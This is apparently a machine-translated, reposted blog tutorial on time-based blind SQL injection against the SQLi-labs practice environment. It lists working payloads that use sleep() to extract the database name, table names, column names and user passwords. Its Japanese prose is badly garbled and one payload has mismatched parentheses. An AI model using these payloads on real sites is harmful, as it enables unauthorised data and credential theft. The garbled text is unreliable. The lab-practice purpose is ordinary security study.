SQLインジェクションの研究 - 時間のブラインド

はじめに:エコー注入に電源を入れる前に、フロント9を通じて学習、エラー注入、ブールブラインドなど、いくつかの方法、詳細に調査へのこの時間の時間ブラインド

理解するために、以前のブログでは、ブールブラインドを、実際には、ブールブラインド時間ブラインドほぼ同じ、射出原理は同じで、違いはまだエコー完全な無エコーでステートメントを構築することにより、裁判官への持続ページ応答情報は、これはブラインドの時間です。

学ぶためにまず時間ブラインドの必要な機能

sleep()/延迟函数
if(condition,true,false)/若条件为真 返回true,若条件为假 返回false
substring("string",strart,length)

メインは、いくつかは、ここではそれがであるということですSQLI-ラボ練習ブラインド10分の時間をオフに

データベース名の長さの推測
ペイロードを:

?id=1" and if(length(database())>5,1,sleep(10))--+

実行はもちろん、もでき、10秒より高速な判断をスリープします、ここで失敗したsleep()成功した場所の実装に機能します。

データベースの名前の長さを決定するために、原子炉ブラウザ(手動速度はよく覚えて注入された場合に、楽しいか、他には...)
ここに画像を挿入説明
データベース名バースト
ペイロードを:

?id=1" and if((ascii(substr(database(),1,1)))>120,1,sleep(10))--+

ここに画像を挿入説明
原子炉のブラウザはデータベースの名前を推測するために、実際には、時間がブラインド以上に注入するbeableでif函数sleep()関数はブール盲目に相当しtrue或false、他のステートメントはほぼ同じです。

バーストテーブル名
ペイロード:

?id=1" and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>120,1,sleep(10))--+

テーブル名が正しい条件ではありませんがある場合は、ブラウザにもしようとし続け、反応時間、睡眠10秒を観察しています

列名は、バースト
ペイロードを:

?id=1" and if((ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))))>100,1,sleep(10))--+

バースト値の
ペイロード:

?id=1" and  if((ascii(substr(( select password from users limit 0,1),1,1)))>1,1,sleep(10))--+  

実際には、時間がブラインドとブラインドブール文の中で見ることができ、基本的には同じですが、文が判断した場合にスリープ時間機能を実行するために盲目です。あなたはブールブラインドを理解していれば、盲目の時間も十分に理解されています。

しかし、まだ最高のスクリプト、低注入効率とエラーが発生しやすいマニュアルについて書くこと。スクリプト機能が改善されるまで、ここで最初の研究では、時間ブラインドについて学ぶために、彼はそれを実行するスクリプトを書きました。

公開された71元の記事 ウォン称賛80 ビュー10000 +

おすすめ

転載: blog.csdn.net/qq_43431158/article/details/97496092